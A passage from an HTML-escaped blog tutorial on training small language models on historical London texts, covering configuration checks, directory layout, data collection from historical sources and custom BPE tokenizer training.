&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Checkpoints Directory: {config.checkpoints_dir}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Virtual Environment: {config.project_root}/helloLondon&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Vocabulary Size: {config.tokenizer_config[\&amp;#34;vocab_size\&amp;#34;]:,} tokens&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Special Tokens: {len(config.tokenizer_config[\&amp;#34;special_tokens\&amp;#34;])} tokens&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;SLM Model: {config.slm_config[\&amp;#34;model_name\&amp;#34;]}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Training Epochs: {config.slm_config[\&amp;#34;num_epochs\&amp;#34;]}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Batch Size: {config.slm_config[\&amp;#34;batch_size\&amp;#34;]}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Max Length: {config.slm_config[\&amp;#34;max_length\&amp;#34;]}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(&amp;#39;\\n🎯 Configuration looks good!&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 6: Validate Configuration&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The following directory structure will be generated after executing the setup script. Please note that certain directories will remain empty until the data collection and training processes are initiated.&lt;/p&gt;
&lt;figure id=&#34;listing7&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;helloLondon&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;london_historical&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Historical text data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; london_historical_corpus_comprehensive&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;txt  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Final training corpus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; downloads&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Raw downloaded data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; processed&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Cleaned and processed text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; metadata&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Data collection metadata&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;09&lt;/span&gt;_models&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; checkpoints&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                 &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Regular model checkpoints (354M)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;44000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;47000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;51000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;59000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;60001.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; checkpoints&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;slm&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;             &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# SLM model checkpoints (117M)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;52000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;60000.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; checkpoint&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;60001.&lt;/span&gt;pt
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;   &lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; tokenizers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;london_historical_tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Custom tokenizer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;       &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;json           &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Tokenizer configuration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;       &lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; vocab&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;json               &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Vocabulary mapping&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;│&lt;/span&gt;       &lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📄&lt;/span&gt; merges&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;txt               &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# BPE merge rules&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;├──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; helloLondon&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                     &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Virtual environment&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;└──&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;📁&lt;/span&gt; logs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;                            &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Training logs and WandB data&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 7: Project Directory Structure&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites&lt;/strong&gt;: Before proceeding with the following steps, please verify the following requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Storage&lt;/strong&gt;: Minimum 20GB of free disk space and stable internet connectivity for data acquisition&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hardware&lt;/strong&gt;: GPU with 8GB+ VRAM for SLM training, 16GB+ VRAM for Regular model training. Cloud users should select appropriate instance types&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Experiment Tracking&lt;/strong&gt; (Optional but highly recommended): &lt;a
	
		href = &#34;https://wandb.ai/site&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Weights &amp;amp; Biases
	&lt;/span&gt;
&lt;/a&gt; account with &lt;code&gt;WANDB_API_KEY&lt;/code&gt; environment variable configured for comprehensive training monitoring&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dependencies&lt;/strong&gt;: Required data processing libraries (nltk, beautifulsoup4, etc.) will be automatically installed via the setup script&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;5-data-collection&#34;&gt;5. Data Collection&lt;/h2&gt;
&lt;p&gt;The foundation of any language model lies in its training data. For our historical London models, we&amp;rsquo;ve built a comprehensive data collection system that sources authentic text from &lt;strong&gt;218+ historical sources spanning 1500-1850&lt;/strong&gt; - a remarkable 350-year window of London&amp;rsquo;s linguistic evolution. This isn&amp;rsquo;t just about downloading files; it&amp;rsquo;s about curating a high-quality corpus that captures the authentic voice of historical London.&lt;/p&gt;
&lt;p&gt;Our data collection pipeline automatically processes multiple formats (PDFs, HTML, XML, plain text) from diverse sources, including Project Gutenberg classics, Old Bailey trial records, London Lives manuscripts, and British History Online archives. The system includes sophisticated quality control measures: language detection to filter non-English content, OCR artifact correction, duplicate detection, and historical period validation to ensure every text genuinely represents the target era.&lt;/p&gt;
&lt;p&gt;The result? A curated corpus of &lt;strong&gt;500M+ characters&lt;/strong&gt; of authentic historical English text, ready to train models that understand not just the words, but the cultural context, social dynamics, and linguistic patterns of 18th and 19th-century London. Of course, you can always add your own data sources if you have them, and the system is designed to be extensible.&lt;/p&gt;
&lt;p&gt;We can kick off the data collection process using &lt;a href=&#34;#listing8&#34; class=&#34;listing-ref&#34;&gt;Listing 8&lt;/a&gt;. This will be run from the project root directory.&lt;/p&gt;
&lt;figure id=&#34;listing8&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download historical data with advanced filtering&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 02_data_collection/historical_data_collector.py --max_sources &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# The system automatically filters:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# - Non-English content (Arabic, Chinese, etc.)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# - Poor OCR quality scans and gibberish&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# - Advertisement-heavy commercial content  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# - Duplicate content and empty files&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# - Special handling for Project Gutenberg classics&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 8: Download Historical Data&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This process may take some time, depending on your internet speed, the number of sources you choose to download and your system&amp;rsquo;s performance. For me, on a very fast internet connection and a powerful machine this took typically 2-4 hours for downloading, and processing the full dataset. The script will save the cleaned and processed data in the &lt;code&gt;data/london_historical/&lt;/code&gt; directory, creating a comprehensive historical corpus.&lt;/p&gt;
&lt;p&gt;The data collection process creates a comprehensive historical corpus with the main training file &lt;strong&gt;&lt;code&gt;london_historical_corpus_comprehensive.txt&lt;/code&gt;&lt;/strong&gt; containing 270M+ characters (~258MB) of authentic historical text. The complete data directory spans approximately 1.2GB, including 521MB of raw downloaded sources, 263MB of processed and cleaned content, and 126MB of tokenized training sequences ready for model training. The image below shows the data collection in progress.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/data3.png&#34; alt=&#34;Data Collection in Progress&#34; title=&#34;Data Collection in Progress&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 5:&lt;/strong&gt; Data collection process in progress showing real-time processing of historical sources&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The final corpus represents one of the largest collections of historical London text ever assembled for language model training, with authentic content spanning 350 years of linguistic evolution. The two images below show an example of one of my runs, one of them showing the final output of the data cleaning and outlining the statistics. And the second one shows the size of the data on disk.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/data11.png&#34; alt=&#34;Data Collection Summary&#34; title=&#34;Data Collection Summary&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 6:&lt;/strong&gt; Data collection summary showing final statistics and corpus composition&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The total size at the end of the data. Note this does not include the Old Bailey and London Lives data.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/data12.png&#34; alt=&#34;Total Data Size&#34; title=&#34;Total Data Size&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 7:&lt;/strong&gt; Total data size on disk showing comprehensive historical corpus&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 7:&lt;/strong&gt; Total data size on disk showing the complete historical corpus storage requirements&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now that we have our data and have cleaned it. Let us build a custom tokenizer.&lt;/p&gt;
&lt;h2 id=&#34;6-train-custom-tokenizer&#34;&gt;6. Train Custom Tokenizer&lt;/h2&gt;
&lt;p&gt;With our cleaned historical corpus ready, we now need to create a custom tokenizer specifically designed for historical English. Standard tokenizers like GPT-2 are optimized for modern text and fail catastrophically with historical language - treating archaic words like &amp;ldquo;quoth&amp;rdquo; and &amp;ldquo;hast&amp;rdquo; as multiple subword fragments, losing both meaning and efficiency.&lt;/p&gt;
&lt;p&gt;Our custom tokenizer uses Byte Pair Encoding (BPE) with a 30,000 vocabulary size and 150+ carefully designed special tokens that understand:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Historical Language&lt;/strong&gt;: Archaic pronouns (&lt;code&gt;&amp;lt;|thou|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|thee|&amp;gt;&lt;/code&gt;), verbs (&lt;code&gt;&amp;lt;|hast|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|doth|&amp;gt;&lt;/code&gt;), and expressions (&lt;code&gt;&amp;lt;|verily|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|forsooth|&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;London Geography&lt;/strong&gt;: Landmarks (&lt;code&gt;&amp;lt;|thames|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|newgate|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|tower|&amp;gt;&lt;/code&gt;), streets (&lt;code&gt;&amp;lt;|cheapside|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|fleet|&amp;gt;&lt;/code&gt;), and districts (&lt;code&gt;&amp;lt;|southwark|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|westminster|&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Historical Context&lt;/strong&gt;: Period markers (&lt;code&gt;&amp;lt;|tudor|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|stuart|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|georgian|&amp;gt;&lt;/code&gt;), social classes (&lt;code&gt;&amp;lt;|noble|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|commoner|&amp;gt;&lt;/code&gt;), and professions (&lt;code&gt;&amp;lt;|apothecary|&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;|coachman|&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This specialized vocabulary ensures that common historical terms remain as single tokens rather than being fragmented, dramatically improving both training efficiency and text generation quality. We can kick off the tokenizer using &lt;a href=&#34;#listing9&#34; class=&#34;listing-ref&#34;&gt;Listing 9&lt;/a&gt;. Again, this will be run from the project root directory.&lt;/p&gt;
&lt;figure id=&#34;listing9&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Train historical tokenizer (30k vocabulary)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 03_tokenizer/train_historical_tokenizer.py&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 9: Train Historical Tokenizer&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The training process analyzes our 270M+ character corpus to learn optimal token boundaries, creating a tokenizer that understands the linguistic patterns of 1500-1850 English. The result is a highly efficient tokenizer with a compression ratio of ~0.3 tokens per character and 99%+ reconstruction accuracy - essential for training models that can generate authentic historical text.&lt;/p&gt;
&lt;p&gt;Once the training is finished (and usually it is pretty quick - just a few minutes for our data size), we run a quick sanity test as the image below shows.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/tokenizer-8.png&#34; alt=&#34;Custom Tokenizer Training&#34; title=&#34;Custom Tokenizer Training&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 8:&lt;/strong&gt; Custom tokenizer training progress showing vocabulary learning&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 8:&lt;/strong&gt; Custom tokenizer training process showing BPE algorithm learning optimal token boundaries&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Note that in testing, we might see a warning that the reconstruction differs; this is only because of the alphabet case being different and is expected. You can ignore this. An example of this is shown below.&lt;/p&gt;
&lt;figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/tokenizer-7.png&#34; alt=&#34;Tokenizer reconstruction warning&#34; title=&#34;Tokenizer reconstruction warning&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 9:&lt;/strong&gt; Tokenizer reconstruction warning during training process&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 9:&lt;/strong&gt; Tokenizer reconstruction warning showing expected case normalization differences&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Why the &amp;ldquo;Reconstruction differs&amp;rdquo; warning is actually beneficial:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The reconstruction differences you see are not errors - they&amp;rsquo;re the tokenizer working exactly as designed for optimal language model training. The tokenizer uses Byte Pair Encoding (BPE), which breaks complex words into smaller, reusable subword units (like &amp;ldquo;Bourgh&amp;rdquo; → &amp;ldquo;bour ##gh&amp;rdquo;), and normalizes text to lowercase to reduce vocabulary size. These &amp;ldquo;differences&amp;rdquo; are actually features that make the tokenizer more efficient and the resulting language model more capable of generating authentic historical text.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📖 For detailed technical explanation&lt;/strong&gt;: Part 2 of this series covers the complete tokenizer architecture, BPE implementation, special token design, and why these reconstruction differences are essential for optimal language model training.&lt;/p&gt;&lt;/blockquote&gt;
